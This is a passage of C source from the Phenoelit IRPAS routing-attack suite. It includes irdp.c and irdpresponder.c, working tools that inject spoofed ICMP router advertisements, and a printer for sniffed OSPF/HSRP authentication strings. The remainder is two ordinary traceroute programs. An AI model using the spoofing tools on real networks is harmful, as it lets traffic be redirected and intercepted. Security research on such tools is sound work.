HSRP_STATE_ACTIVE: printf("Active,"); break; default: printf("Stat %u,",c_hsrp->state); } printf(" auth '%s',%u,%u,%u)\n",c_hsrp->auth,c_hsrp->hello, c_hsrp->hold, c_hsrp->prio); c_hsrp=c_hsrp->next; } /* OSPF */ c_ospf=current->ospf; while (c_ospf!=NULL) { printf("\tOSPF [ n/a ] %17s (",inet_ntoa(c_ospf->source)); if (*((u_int32_t*)(&(c_ospf->area)))==0) { printf("Area: BACKBONE, "); } else { printf("Area: %s, ",inet_ntoa(c_ospf->area)); } switch (c_ospf->authtype) { case 0: printf("no auth,"); break; case 1: printf("auth '%s',",c_ospf->authdata); break; case 2: printf("crypto auth,"); break; } printf("\n\t%33s"," "); printf("mask %s,",inet_ntoa(c_ospf->netmask)); printf("\n\t%33s"," "); printf("Dsg: %s,",inet_ntoa(c_ospf->designated)); printf("\n\t%33s"," "); printf("Bkp: %s,",inet_ntoa(c_ospf->backup)); printf("\n\t%33s"," "); printf("Dead %lu, Prio %u, Hello %u)\n", c_ospf->dead,c_ospf->prio,c_ospf->hello); c_ospf=c_ospf->next; } current=current->next; } } void clean_results(void) { result_t *k,*current; RES_route_igrp_t *k_igrp,*c_igrp; RES_route_irdp_t *k_irdp,*c_irdp; RES_route_ripv1_t *k_rip1,*c_rip1; RES_route_eigrp_t *k_eigrp,*c_eigrp; RES_route_eigrprt_t *k_eigrpr,*c_eigrpr; RES_route_hsrp_t *k_hsrp,*c_hsrp; RES_route_ospf_t *k_ospf,*c_ospf; RES_cdp_info_t *k_cdp,*c_cdp; current=anchor; while (current!=NULL) { c_igrp=current->igrp; while (c_igrp!=NULL) { k_igrp=c_igrp; c_igrp=c_igrp->next; free(k_igrp); } c_irdp=current->irdp; while (c_irdp!=NULL) { k_irdp=c_irdp; c_irdp=c_irdp->next; free(k_irdp); } c_rip1=current->rip1; while (c_rip1!=NULL) { k_rip1=c_rip1; c_rip1=c_rip1->next; free(k_rip1); } c_rip1=(RES_route_ripv1_t *)current->rip2; while (c_rip1!=NULL) { k_rip1=c_rip1; c_rip1=c_rip1->next; free(k_rip1); } c_eigrp=current->eigrp; while (c_eigrp!=NULL) { k_eigrp=c_eigrp; c_eigrp=c_eigrp->next; free(k_eigrp); } c_eigrpr=current->eigrpr; while (c_eigrpr!=NULL) { k_eigrpr=c_eigrpr; c_eigrpr=c_eigrpr->next; free(k_eigrpr); } c_hsrp=current->hsrp; while (c_hsrp!=NULL) { k_hsrp=c_hsrp; c_hsrp=c_hsrp->next; free(k_hsrp); } c_ospf=current->ospf; while (c_ospf!=NULL) { k_ospf=c_ospf; c_ospf=c_ospf->next; free(k_ospf); } c_cdp=current->cdp; while (c_cdp!=NULL) { k_cdp=c_cdp; c_cdp=c_cdp->next; if (k_cdp->deviceid!=NULL) free(k_cdp->deviceid); if (k_cdp->portid!=NULL) free(k_cdp->portid); if (k_cdp->software!=NULL) free(k_cdp->software); if (k_cdp->platform!=NULL) free(k_cdp->platform); if (k_cdp->vtpmgmt!=NULL) free(k_cdp->vtpmgmt); free(k_cdp); } k=current; current=current->next; free(k); } } irpas-0.10/irdp.c0100644000175000017500000001127007364600755012046 0ustar vlmvlm/* IRDP * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: irdp.c,v 1.3 2001/07/03 20:00:10 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include /* for IPPROTO_bla consts */ #include #include /* to get my own ETH addr */ #include #include "protocols.h" #include "packets.h" /* definitions */ #define IP_ADDR_LEN 4 #define IP_IRDP_TTL 0x80 #define IP_BCAST "255.255.255.255" #define DEFAULT_LIFETIME 1800 /* config */ struct { int verbose; char *device; int spoof_src; struct in_addr src; int set_dest; struct in_addr dest; unsigned long int pref; unsigned int lifetime; } cfg; /************************************ * globals */ u_char *rawpacket; int atsock; /************************************ * prototypes */ void usage(char *n); u_char *construct_irdp_advertisement(int *psize); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; int plength; memset(&cfg,0,sizeof(cfg)); cfg.lifetime=DEFAULT_LIFETIME; while ((option=getopt(argc,argv,"vi:S:D:p:l:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'D': /* set destination */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } cfg.set_dest++; break; case 'p': /* preference - usually 0 */ cfg.pref=atol(optarg); break; case 'l': /* life time */ cfg.lifetime=atoi(optarg); break; default: usage(argv[0]); } } if (!(cfg.device)) usage(argv[0]); /* set up socket ... */ if ((atsock=init_socket_IP4(cfg.device,1))==(-1)) return(1); /* if spoofing is disabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } /* if destination is not set, use bcast */ if (!cfg.set_dest) { inet_aton(IP_BCAST,&(cfg.dest)); } /* create the packet */ rawpacket=construct_irdp_advertisement(&plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); /* at the end of the day, close our socket */ close(atsock); return (0); } /********************** FUNCTIONS **********************/ /* constructs the IRDP request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_irdp_advertisement(int *psize) { u_char *tpacket; iphdr_t *iph; icmphdr_t *icmph; irdp_t *irdph; irdp_rec_t *irdprec; u_int16_t cs; /* checksum */ *psize=sizeof(irdp_rec_t)+sizeof(irdp_t)+sizeof(icmphdr_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(*psize +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IP_IRDP_TTL; iph->protocol=IPPROTO_ICMP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); /* make up the icmp header */ icmph=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); icmph->type=ICMP_ROUTER_ADVERT; icmph->code=0; icmph->checksum=0; /* make up the irdp base information */ irdph=(irdp_t *)(tpacket+sizeof(iphdr_t)+sizeof(icmphdr_t)); irdph->num_addr=0x01; /* one address */ irdph->addrsize=0x02; /* two words */ irdph->lifetime=htons(cfg.lifetime); /* make up the irdp address record */ irdprec=(irdp_rec_t *)(tpacket+sizeof(iphdr_t)+ sizeof(icmphdr_t)+sizeof(irdp_t)); memcpy(&(irdprec->addr),&(cfg.src.s_addr),IP_ADDR_LEN); irdprec->pref=htonl(cfg.pref); /* make up checksum */ cs=chksum((u_char *)icmph,(*psize-sizeof(iphdr_t))); icmph->checksum=cs; return tpacket; } void usage(char *n) { printf( "Usage: \n" "%s [-v (useless)] -i \n\t" "[-S ] [-D ]\n\t" "[-l ] [-p ]\n", n); exit (1); } irpas-0.10/irdpresponder.c0100644000175000017500000002101607364600755013767 0ustar vlmvlm/* IRDP Responder * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: irdpresponder.c,v 1.5 2001/06/17 19:43:48 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include /* for IPPROTO_bla consts */ #include #include /* to get my own ETH addr */ #include #include #include #include "protocols.h" #include "packets.h" /* definitions */ #define IP_ADDR_LEN 4 #define IP_IRDP_TTL 0x80 #define IP_BCAST "255.255.255.255" #define DEFAULT_LIFETIME 1800 #define CAPLENGTH 1514 #define ADVERTTIME 10 #define BANNER "IRDP Responder $Revision: 1.5 $\n"\ "\t(c) 2k FX \n"\ "\tPhenoelit (http://www.phenoelit.de)\n" /* config */ struct { int verbose; char *device; int spoof_src; struct in_addr src; int set_dest; struct in_addr dest; unsigned long int pref; unsigned int lifetime; } cfg; /************************************ * globals */ u_char *rawpacket; int atsock; pcap_t *cap; int stop_flag=0; /************************************ * prototypes */ void usage(char *n); u_char *construct_irdp_advertisement_d(int *psize,struct in_addr *dest); int initialize_pcap(void); void signaler(int sig); void evaluate_packet(u_char *frame, int frame_length); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; int plength; unsigned long int t1=0; u_char *pcap_data, *ppacket; struct pcap_pkthdr *pcap_head,phead; memset(&cfg,0,sizeof(cfg)); cfg.lifetime=DEFAULT_LIFETIME; cfg.pref=1; while ((option=getopt(argc,argv,"vi:S:D:p:l:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'D': /* set destination */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } cfg.set_dest++; break; case 'p': /* preference - usually 0 */ cfg.pref=atol(optarg); break; case 'l': /* life time */ cfg.lifetime=atoi(optarg); break; default: usage(argv[0]); } } if (!(cfg.device)) usage(argv[0]); /* set up socket ... */ if ((atsock=init_socket_IP4(cfg.device,1))==(-1)) return(1); /* if spoofing is disabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } /* if destination is not set, use bcast */ if (!cfg.set_dest) { inet_aton(IP_BCAST,&(cfg.dest)); } printf(BANNER); /* init PCAP */ if (initialize_pcap()==(-1)) return (1); /* get mem for pcap's header structure */ pcap_head=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr)); /* signal handling */ signal(SIGTERM,&signaler); signal(SIGABRT,&signaler); signal(SIGINT,&signaler); while (!stop_flag) { if ((pcap_data=(u_char *)pcap_next(cap,pcap_head))!=NULL) { /* make a local copy of the data */ memcpy(&phead,pcap_head,sizeof(struct pcap_pkthdr)); ppacket=(u_char *)smalloc(phead.caplen); memcpy(ppacket,pcap_data,phead.caplen); evaluate_packet(ppacket,phead.caplen); free(ppacket); } if ((t1+ADVERTTIME)<(unsigned long)time(NULL)) { t1=(unsigned long)time(NULL); if (cfg.verbose) printf("sending intervall update to %s\n",inet_ntoa(cfg.dest)); rawpacket=construct_irdp_advertisement_d(&plength,&(cfg.dest)); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } } /* at the end of the day, close our socket */ close(atsock); return (0); } /********************** FUNCTIONS **********************/ void evaluate_packet(u_char *frame,int frame_length) { struct ether_header *eth; iphdr_t *ip; irdp_solicitation_t *irdph; int plength; if (cfg.verbose>2) printf("... Packet ...\n"); eth=(struct ether_header *)frame; if (ntohs(eth->ether_type)==ETHERTYPE_IP) { if (cfg.verbose>2) printf("\tIP\n"); ip=(iphdr_t *)(frame+sizeof(struct ether_header)); /* if it is from myself, igore it */ if (!memcmp(&(ip->saddr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) return; if (cfg.verbose>2) printf("\tnot me\n"); /* if it is from the spoofed self, igore it */ if (!memcmp(&(ip->saddr),&(cfg.src),IP_ADDR_LEN)) return; /* if we are limmited to one host, check it */ /*if (cfg.set_dest) { if (memcmp(&(ip->saddr),&(cfg.dest),IP_ADDR_LEN)) return; } */ if (ip->protocol==IPPROTO_ICMP) { /* it's an ICMP */ if (cfg.verbose>2) printf("\ticmp\n"); irdph=(irdp_solicitation_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)); if (irdph->type==ICMP_SOLICITATION) { /* it's actually a solicitation */ if (cfg.verbose>2) printf("\tIRDP request\n"); if (cfg.verbose) printf("sending response to %s\n",inet_ntoa(ip->saddr)); /* create the packet */ rawpacket=construct_irdp_advertisement_d(&plength,&(ip->saddr)); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } } } /* not IP */ return; } void signaler(int sig) { stop_flag++; if (cfg.verbose>2) fprintf(stderr,"\nSignal received.\n"); pcap_close(cap); } int initialize_pcap(void) { char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ struct bpf_program cfilter; /* the compiled filter */ bpf_u_int32 network,netmask; /* get my network and netmask */ if (pcap_lookupnet(cfg.device,&network,&netmask,pcap_err)!=0) { fprintf(stderr,"pcap_lookupnet(): %s\n",pcap_err); return (-1); } /* open the sniffer */ if ((cap=pcap_open_live(cfg.device,CAPLENGTH, 1, /* in promi mode */ 0, /* not timeouts */ pcap_err))==NULL) { fprintf(stderr,"pcap_open_live(): %s\n",pcap_err); return (-1); } if (pcap_datalink(cap)!=DLT_EN10MB) { fprintf(stderr,"works on Ethernet only, sorry.\n"); return (-1); } if (pcap_compile(cap,&cfilter,NULL,0,netmask)!=0) { pcap_perror(cap,"pcap_compile()"); return (-1); } if (pcap_setfilter(cap,&cfilter)!=0) { pcap_perror(cap,"pcap_setfilter()"); return (-1); } return 0; } /* constructs the IRDP request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_irdp_advertisement_d(int *psize,struct in_addr *dest) { u_char *tpacket; iphdr_t *iph; icmphdr_t *icmph; irdp_t *irdph; irdp_rec_t *irdprec; u_int16_t cs; /* checksum */ *psize=sizeof(irdp_rec_t)+sizeof(irdp_t)+sizeof(icmphdr_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(*psize +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IP_IRDP_TTL; iph->protocol=IPPROTO_ICMP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN); /* make up the icmp header */ icmph=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); icmph->type=ICMP_ROUTER_ADVERT; icmph->code=0; icmph->checksum=0; /* make up the irdp base information */ irdph=(irdp_t *)(tpacket+sizeof(iphdr_t)+sizeof(icmphdr_t)); irdph->num_addr=0x01; /* one address */ irdph->addrsize=0x02; /* two words */ irdph->lifetime=htons(cfg.lifetime); /* make up the irdp address record */ irdprec=(irdp_rec_t *)(tpacket+sizeof(iphdr_t)+ sizeof(icmphdr_t)+sizeof(irdp_t)); memcpy(&(irdprec->addr),&(cfg.src.s_addr),IP_ADDR_LEN); irdprec->pref=htonl(cfg.pref); /* make up checksum */ cs=chksum((u_char *)icmph,(*psize-sizeof(iphdr_t))); icmph->checksum=cs; return tpacket; } void usage(char *n) { printf( "Usage: \n" "%s [-v[v[v]]] -i \n\t" "[-S ] [-D ]\n\t" "[-l ] [-p ]\n", n); exit (1); } irpas-0.10/itrace.c0100644000175000017500000002143307364600755012361 0ustar vlmvlm/* itrace - an ICMP traceroute implementation * * FX * Phenoelit (http://www.phenoelit.de) * * $Id: itrace.c,v 1.9 2001/07/08 14:25:14 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" void usage(char *n); #define IP_ID 0xAFFC struct { int verbose; struct in_addr dest; int timeout; int maxttl; int reverse; int probes; char *device; char *tdest; } cfg; void usage(char *n) { fprintf(stderr, "Usage: %s [-vn] [-pX] [-mX] [-tX] -i -d\n\n" "-v\tverbose\n" "-n\treverse lookup IPs\n" "-pX\tsend X probes (default=3)\n" "-mX\tmaximum TTL (default=30)\n" "-tX\ttimeout X sec (default=3)\n" "-i\tuse this device\n" "-d\ttrace to this destination\n" ,n); } int main(int argc, char **argv) { char option; extern char *optarg; int sfd,rfd; struct sockaddr_in to,from; u_char *tpacket; iphdr_t *ip; icmp_ping_t *pingh; icmphdr_t *icmp; int psize; u_int16_t cs; int rc,addrsize,allrespond,respond=0,reached=0; u_int16_t TTL; unsigned long start_t; struct timespec sleeper = { 0, 10}; char pdata[]="http://www.Phenoelit.de/ - ECHO REQUEST"; memset(&cfg,0,sizeof(cfg)); cfg.probes=cfg.timeout=3; cfg.maxttl=30; while ((option=getopt(argc,argv,"vni:d:t:m:p:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'd': /* destination, first as text */ cfg.tdest=smalloc(strlen(optarg)+1); strcpy(cfg.tdest,optarg); break; case 't': if ((cfg.timeout=atoi(optarg))==0) { fprintf(stderr,"%s is an invalid timeout\n", optarg); return (1); } break; case 'i': cfg.device=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'm': if ((cfg.maxttl=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid TTL\n", optarg); return (1); } break; case 'p': if ((cfg.probes=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid number of" "probes\n",optarg); return (1); } break; case 'n': cfg.reverse=1; break; default: usage(argv[0]); return (1); } } /* check device and destination */ if (!cfg.device) { fprintf(stderr,"Sorry, but you have to supply the device with -i\n"); return (1); } if (!cfg.tdest) { fprintf(stderr,"You should really supply a destination with -d\n"); return (1); } else { /* try as a normal IP address */ if (inet_aton(cfg.tdest,&(cfg.dest))==0) { /* ups, wasn't an IP - maybe a hostname */ struct hostent *hd; if ((hd=gethostbyname(cfg.tdest))==NULL) { fprintf(stderr,"Could not resolve destination host\n"); return (1); } else { bcopy(hd->h_addr,(char *)&(cfg.dest),hd->h_length); /* memcpy((u_int8_t*)&(cfg.dest), (u_int8_t*)&(hd->h_addr_list[0]),IP_ADDR_LEN); */ } } } /* itrace begins here */ if (cfg.verbose) { printf("Tracing with ICMP Echos to %s\n",inet_ntoa(cfg.dest)); printf("Timeout %d, interface %s\n",cfg.timeout,cfg.device); printf("Probes %d, maximum TTL %d\n",cfg.probes,cfg.maxttl); } /* create two sockets: RAW and ICMP. RAW is needed for the modification * of the std IP header and ICMP is needed because for some reason I don't * understand fully the recvfrom() call does not see nothing on a RAW * socket. */ if ((sfd=init_socket_IP4(cfg.device,0))<0) { fprintf(stderr,"could not grab socket\n"); return (-1); } if ((rfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket(IPPROTO_ICMP)"); return (-1); } rc= O_NONBLOCK | fcntl(rfd, F_GETFL); fcntl(rfd,F_SETFL,rc); psize=sizeof(icmp_ping_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(sizeof(icmp_ping_t)+sizeof(iphdr_t)+3); TTL=1; while ((!reached)&&(TTL<=cfg.maxttl)) { int i; struct in_addr last; allrespond=0; for (i=0;iversion=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(psize); ip->protocol=IPPROTO_ICMP; ip->id=htons(TTL); memcpy(&(ip->saddr.s_addr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(ip->daddr.s_addr),&(cfg.dest),IP_ADDR_LEN); ip->ttl=TTL; /* make ICMP echo request */ pingh=(icmp_ping_t *)(tpacket+sizeof(iphdr_t)); pingh->icmp.type=ICMP_ECHO; pingh->icmp.code=0; pingh->icmp.checksum=0; pingh->echo.identifier=0xF000; pingh->echo.seq=htons(TTL); memcpy(&(pingh->echo.data),pdata,sizeof(pdata)); /* make up checksum */ cs=chksum((u_char *)pingh,(psize-sizeof(iphdr_t))); pingh->icmp.checksum=cs; memset(&to,0,sizeof(struct sockaddr_in)); to.sin_family=AF_INET; to.sin_port=htons(0); memcpy(&(to.sin_addr),&(ip->daddr),sizeof(to.sin_addr)); if (sendto(sfd,tpacket,psize,0, (struct sockaddr *) &to, sizeof(struct sockaddr_in)) <0) { perror("sendto()"); return(-1); } /* make sure we have no junk in the mem */ memset(&from,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); start_t=(unsigned long)time(NULL); memset(tpacket,0,psize); respond=0; while (start_t+cfg.timeout>=time(NULL)) { if ((rc=recvfrom(rfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&from, &addrsize))>=0) { struct hostent *hr; char *name; iphdr_t *ip2; //icmphdr_t *icmp2; icmp_ping_t *p2; ip=(iphdr_t *)tpacket; /* got an ICMP response */ icmp=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); p2=(icmp_ping_t *)(tpacket+sizeof(iphdr_t)); if (icmp->type!=ICMP_ECHOREPLY) { /* check whenever it contains the former IP header */ if (rc>=(2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4)) { ip2=(iphdr_t *)(tpacket+ sizeof(iphdr_t)+sizeof(icmphdr_t)+4); /* make sure it was our packet */ if (!( (ip2->protocol==IPPROTO_ICMP) && (ip2->id==htons(TTL)) && (!memcmp(&(ip2->saddr.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN)) && (!memcmp(&(ip2->daddr.s_addr),&(cfg.dest), IP_ADDR_LEN)) )) { if (cfg.verbose>1) { printf("Not in response of probe:\n"); printf("\t%s->",inet_ntoa(ip2->saddr)); printf("%s\n",inet_ntoa(ip2->daddr)); } continue; } } else { if (cfg.verbose) { printf("ICMP packet to small to carry" " original IP header\n"); printf("Should be %d, is %d\n", 2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4, rc); } } } /* not an echoreply */ /* reverse lookup */ if ( (cfg.reverse) && ((hr=gethostbyaddr((char *)&(from.sin_addr), IP_ADDR_LEN,AF_INET))!=NULL)) { name=(char *)smalloc(strlen(hr->h_name)+ strlen(inet_ntoa(from.sin_addr))+4); strcpy(name,hr->h_name); strcat(name," ["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } else { name=(char *)smalloc( strlen(inet_ntoa(from.sin_addr))+4); strcat(name,"["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } if (icmp->type==ICMP_TIME_EXCEEDED) { if ((memcmp(&(last.s_addr), &(ip->saddr.s_addr),IP_ADDR_LEN)) ){ memcpy(&(last.s_addr),&(ip->saddr.s_addr), IP_ADDR_LEN); } else { break; } printf("%2d(%d)\t%s\n",TTL,i+1,name); allrespond=respond=1; break; } else if (icmp->type==ICMP_DEST_UNREACH) { if ((icmp->code==ICMP_UNREACH_FIREWALL) || (icmp->code==ICMP_UNREACH_ADMIN1)) printf("%2d(%d)\t%s (firewalled)\n",TTL,i+1,name); else printf("%2d(%d)\t%s (unreachable)\n",TTL,i+1,name); allrespond=respond=reached=1; break; } else if (icmp->type==ICMP_ECHOREPLY) { if ((memcmp(&(last.s_addr), &(ip->saddr.s_addr),IP_ADDR_LEN)) && (!memcmp(&(p2->echo.data),pdata,sizeof(pdata))) &&(p2->echo.identifier==0xF000) ){ memcpy(&(last.s_addr),&(ip->saddr.s_addr), IP_ADDR_LEN); } else { break; } printf("%2d(%d)\t%s (reply)\n",TTL,i+1,name); allrespond=respond=reached=1; break; } free(name); } nanosleep(&sleeper,NULL); } if (!respond) { if (cfg.verbose) printf("%2d(%d)\tTimeout\n",TTL,i+1); } if (reached||respond) break; } /* end of probe for() loop */ if (!allrespond) printf("%2d(all)\tTimeout\n",TTL); TTL++; } free(tpacket); close(sfd); close(rfd); return 0; } irpas-0.10/tctrace.c0100644000175000017500000003016707364600755012543 0ustar vlmvlm/* itrace - a TCP traceroute implementation * * FX * Phenoelit (http://www.phenoelit.de) * * $Id: tctrace.c,v 1.12 2001/07/08 14:25:14 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" void usage(char *n); struct { int verbose; struct in_addr dest; int timeout; int maxttl; int reverse; int probes; int port; int sport; char *device; char *tdest; } cfg; #define SEQ 12345 #define WIN 2048 #define IP_ID 0xAFFE void usage(char *n) { fprintf(stderr, "Usage: %s [-vn] [-pX] [-mX] [-tX] [-DX]" " [-SX] -i -d\n\n" "-v\tverbose\n" "-n\treverse lookup IPs\n" "-pX\tsend X probes (default=3)\n" "-mX\tmaximum TTL (default=30)\n" "-tX\ttimeout X sec (default=3)\n" "-DX\tdestination port (default=80)\n" "-SX\tsource port (default=1064)\n" "-i\tuse this device\n" "-d\ttrace to this destination\n" ,n); } int main(int argc, char **argv) { char option; extern char *optarg; int sfd,rfd,tcfd; struct sockaddr_in to,from; u_char *tpacket; iphdr_t *ip,*ip2; icmphdr_t *icmp; tcphdr_t *tcp; struct pseudohdr pshdr; int psize; int rc,addrsize,allrespond,respond=0,reached=0; u_int16_t TTL; u_int32_t tseq; unsigned long start_t; struct timespec sleeper = { 0, 10}; memset(&cfg,0,sizeof(cfg)); cfg.probes=cfg.timeout=3; cfg.maxttl=30; cfg.port=80; cfg.sport=1064; while ((option=getopt(argc,argv,"vni:d:t:m:p:D:S:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'd': /* destination, first as text */ cfg.tdest=smalloc(strlen(optarg)+1); strcpy(cfg.tdest,optarg); break; case 't': if ((cfg.timeout=atoi(optarg))==0) { fprintf(stderr,"%s is an invalid timeout\n", optarg); return (1); } break; case 'i': cfg.device=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'm': if ((cfg.maxttl=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid TTL\n", optarg); return (1); } break; case 'p': if ((cfg.probes=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid number of" "probes\n",optarg); return (1); } break; case 'D': if ((cfg.port=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid port\n" ,optarg); return (1); } break; case 'S': if ((cfg.sport=atoi(optarg))==0) { fprintf(stderr,"%s is not a valid port\n" ,optarg); return (1); } break; case 'n': cfg.reverse=1; break; default: usage(argv[0]); return (1); } } /* check device and destination */ if (!cfg.device) { fprintf(stderr,"Sorry, but you have to supply the device with -i\n"); return (1); } if (!cfg.tdest) { fprintf(stderr,"You should really supply a destination with -d\n"); return (1); } else { /* try as a normal IP address */ if (inet_aton(cfg.tdest,&(cfg.dest))==0) { /* ups, wasn't an IP - maybe a hostname */ struct hostent *hd; if ((hd=gethostbyname(cfg.tdest))==NULL) { fprintf(stderr,"Could not resolve destination host\n"); return (1); } else { bcopy(hd->h_addr,(char *)&(cfg.dest),hd->h_length); /* memcpy((u_int8_t*)&(cfg.dest), (u_int8_t*)&(hd->h_addr_list[0]),IP_ADDR_LEN); */ } } } /* itrace begins here */ if (cfg.verbose) { printf("Tracing with TCP SYNs to %s\n",inet_ntoa(cfg.dest)); printf("Timeout %d, interface %s\n",cfg.timeout,cfg.device); } /* create three sockets: RAW,TCP and ICMP. RAW is needed for the * modification of the std IP header and TCP/ICMP are needed because for * some reason I don't understand fully the recvfrom() call does not * see nothing on a RAW socket. */ if ((sfd=init_socket_IP4(cfg.device,0))<0) { fprintf(stderr,"could not grab socket\n"); return (-1); } if ((rfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket(IPPROTO_ICMP)"); return (-1); } rc= O_NONBLOCK | fcntl(rfd, F_GETFL); fcntl(rfd,F_SETFL,rc); if ((tcfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { perror("socket(IPPROTO_TCP)"); return (-1); } rc= O_NONBLOCK | fcntl(tcfd, F_GETFL); fcntl(tcfd,F_SETFL,rc); TTL=1; srand((unsigned int)time(NULL)); tseq=htonl(1+(long) (65535.0*rand()/(RAND_MAX+1.0))); while ((!reached)&&(TTL<=cfg.maxttl)) { int i; struct in_addr last; allrespond=0; for (i=0;iversion=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(psize); ip->protocol=IPPROTO_TCP; ip->id=htons(TTL); memcpy(&(ip->saddr.s_addr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(ip->daddr.s_addr),&(cfg.dest),IP_ADDR_LEN); ip->ttl=TTL; /* make TCP syn packet */ tcp=(tcphdr_t *)(tpacket+sizeof(iphdr_t)); tcp->th_sport=htons(cfg.sport); tcp->th_dport=htons(cfg.port); tcp->th_seq=tseq; tcp->th_ack=htonl(0); tcp->th_flags=TH_SYN; tcp->th_off=sizeof(tcphdr_t)/4; tcp->th_win=htons(WIN); /* make up checksum */ memset(&pshdr,0,sizeof(struct pseudohdr)); memcpy(&(pshdr.saddr.s_addr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); memcpy(&(pshdr.daddr.s_addr),&(cfg.dest),IP_ADDR_LEN); pshdr.protocol=IPPROTO_TCP; pshdr.length=htons(sizeof(tcphdr_t)); bcopy((char *)tcp,(char *)&pshdr.tcpheader,sizeof(tcphdr_t)); tcp->th_sum=chksum((u_char *) &pshdr, sizeof(tcphdr_t)+sizeof(iphdr_t)-8); memset(&to,0,sizeof(struct sockaddr_in)); to.sin_family=AF_INET; to.sin_port=htons(0); memcpy(&(to.sin_addr),&(ip->daddr),sizeof(to.sin_addr)); if (sendto(sfd,tpacket,psize,0, (struct sockaddr *) &to, sizeof(struct sockaddr_in)) <0) { perror("sendto()"); return(-1); } /* make sure we have no junk in the mem */ free(tpacket); memset(&from,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); start_t=(unsigned long)time(NULL); psize=2*sizeof(iphdr_t)+sizeof(icmphdr_t)+30; tpacket=(u_char *)smalloc(psize+3); respond=0; while (start_t+cfg.timeout>=time(NULL)) { if ((rc=recvfrom(rfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&from, &addrsize))>=0) { struct hostent *hr; char *name; tcphdr_t *tcp2; ip=(iphdr_t *)tpacket; /* got an ICMP response */ icmp=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); /* check whenever it contains the former IP header */ if (rc>=(2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4)) { ip2=(iphdr_t *)(tpacket+ 